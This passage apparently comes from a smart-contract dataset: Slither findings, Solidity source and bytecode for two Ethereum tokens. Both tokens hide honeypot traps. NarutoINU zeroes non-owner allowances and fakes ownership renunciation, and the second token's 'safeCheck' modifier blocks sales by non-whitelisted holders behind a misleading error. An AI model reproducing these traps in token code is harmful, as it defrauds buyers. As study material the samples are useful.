29a55ee46cbc18f575650029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,443
0x5c4f59b17a1d44a7e60c18148316d334cd618476
/** *Submitted for verification at Etherscan.io on 2021-10-17 */ /** *Submitted for verification at Etherscan.io on 2021-10-17 * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.6.12; // TELEGRAM: https://t.me/NarutoInuOfficial //............................................................................................................................................................................................ //.NNNNNNN......NNNNNN.........AAAAAAA.........RRRRRRRRRRRRRRRR.....UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT.....OOOOOOOOOOO............... IIIII...NNNNNN.......NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNN......NNNNNN.........AAAAAAAA........RRRRRRRRRRRRRRRRR....UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT...OOOOOOOOOOOOOO.............. IIIII...NNNNNNN......NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNN.....NNNNNN........AAAAAAAAA........RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT..OOOOOOOOOOOOOOOO............. IIIII...NNNNNNN......NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNN.....NNNNNN........AAAAAAAAA........RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU...TTTTTTTTTTTTTTTTTT.OOOOOOOOOOOOOOOOOO............ IIIII...NNNNNNNN.....NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNN....NNNNNN.......AAAAAAAAAAA.......RRRRR......RRRRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOOOOOO.OOOOOOOOO........... IIIII...NNNNNNNNN....NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNN...NNNNNN.......AAAAAAAAAAA.......RRRRR.......RRRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOOO......OOOOOOO........... IIIII...NNNNNNNNN....NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNN...NNNNNN.......AAAAAAAAAAAA......RRRRR........RRRRRR..UUUUUU.......UUUUUU.........TTTTTT......OOOOOO........OOOOOOO.......... IIIII...NNNNNNNNNN...NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNNN..NNNNNN......AAAAAA.AAAAAA......RRRRR.......RRRRRRR..UUUUUU.......UUUUUU.........TTTTTT.....TOOOOOO.........OOOOOO.......... IIIII...NNNNNNNNNN...NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNNN..NNNNNN......AAAAAA.AAAAAA......RRRRR.....RRRRRRRRR..UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNN..NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNNNN.NNNNNN......AAAAA...AAAAAA.....RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNN..NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNNNNNNNNNNN.....AAAAAA...AAAAAA.....RRRRRRRRRRRRRRRRRR...UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNNNNNNNNN.NNNNNN..NUUUUU.......UUUUUU.. //.NNNNNNNNNNNNNNNNNNN.....AAAAAA...AAAAAA.....RRRRRRRRRRRRRRRRR....UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN.NNNNNNNNNNNNN..NUUUUU.......UUUUUU.. //.NNNNNN.NNNNNNNNNNNN....AAAAAA.....AAAAAA....RRRRRRRRRRRRRRR......UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN..NNNNNNNNNNNN..NUUUUU.......UUUUUU.. //.NNNNNN..NNNNNNNNNNN....AAAAAAAAAAAAAAAAA....RRRRR.RRRRRRRRR......UUUUUU.......UUUUUU.........TTTTTT.....TOOOOO..........OOOOOO.......... IIIII...NNNNN..NNNNNNNNNNNN..NUUUUU.......UUUUUU.. //.NNNNNN..NNNNNNNNNNN....AAAAAAAAAAAAAAAAA....RRRRR...RRRRRRRR.....UUUUUU.......UUUUUU.........TTTTTT.....TOOOOOO.........OOOOOO.......... IIIII...NNNNN...NNNNNNNNNNN..NUUUUU.......UUUUUU.. //.NNNNNN...NNNNNNNNNN...AAAAAAAAAAAAAAAAAAA...RRRRR....RRRRRRRR....UUUUUU.......UUUUUU.........TTTTTT......OOOOOO........OOOOOOO.......... IIIII...NNNNN...NNNNNNNNNNN..NUUUUU.......UUUUUU.. //.NNNNNN...NNNNNNNNNN...AAAAAAAAAAAAAAAAAAA...RRRRR.....RRRRRRR.....UUUUUU.....UUUUUUU.........TTTTTT......OOOOOOO......OOOOOOO........... IIIII...NNNNN....NNNNNNNNNN...UUUUUU.....UUUUUUU.. //.NNNNNN....NNNNNNNNN...AAAAAA.......AAAAAAA..RRRRR......RRRRRRR....UUUUUUUU.UUUUUUUUU.........TTTTTT......OOOOOOOOOO.OOOOOOOOO........... IIIII...NNNNN.....NNNNNNNNN...UUUUUUUU.UUUUUUUUU.. //.NNNNNN.....NNNNNNNN..NAAAAA.........AAAAAA..RRRRR......RRRRRRRR...UUUUUUUUUUUUUUUUU..........TTTTTT.......OOOOOOOOOOOOOOOOOO............ IIIII...NNNNN.....NNNNNNNNN...UUUUUUUUUUUUUUUUU... //.NNNNNN.....NNNNNNNN..NAAAAA.........AAAAAA..RRRRR.......RRRRRRR....UUUUUUUUUUUUUUUU..........TTTTTT........OOOOOOOOOOOOOOOO............. IIIII...NNNNN......NNNNNNNN....UUUUUUUUUUUUUUUU... //.NNNNNN......NNNNNNN.NNAAAAA.........AAAAAAA.RRRRR........RRRRRRR....UUUUUUUUUUUUUU...........TTTTTT.........OOOOOOOOOOOOOO.............. IIIII...NNNNN......NNNNNNNN.....UUUUUUUUUUUUUU.... //.NNNNNN......NNNNNNN.NNAAAA...........AAAAAA.RRRRR........RRRRRRRR....UUUUUUUUUUU.............TTTTTT...........OOOOOOOOOOO............... IIIII...NNNNN.......NNNNNNN......UUUUUUUUUUU...... //............................................................................................................................................................................................ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SAO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = 'NarutoINU'; string private _symbol = 'NARUTOINU'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x735c4f59b17a1d44a7e60c18148316d334cd61847630146080604052600080fdfea264697066735822122021b43ede78ab4b4d8758237d0f4d293b163df50408b669945944c59b07a9a82864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,444
0xf122329e74de35d265d468ecd7e56edddc55663f
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} if(sender==_address0){_Addressint[recipient] = true;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } //transfer function _transfer_NBU(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f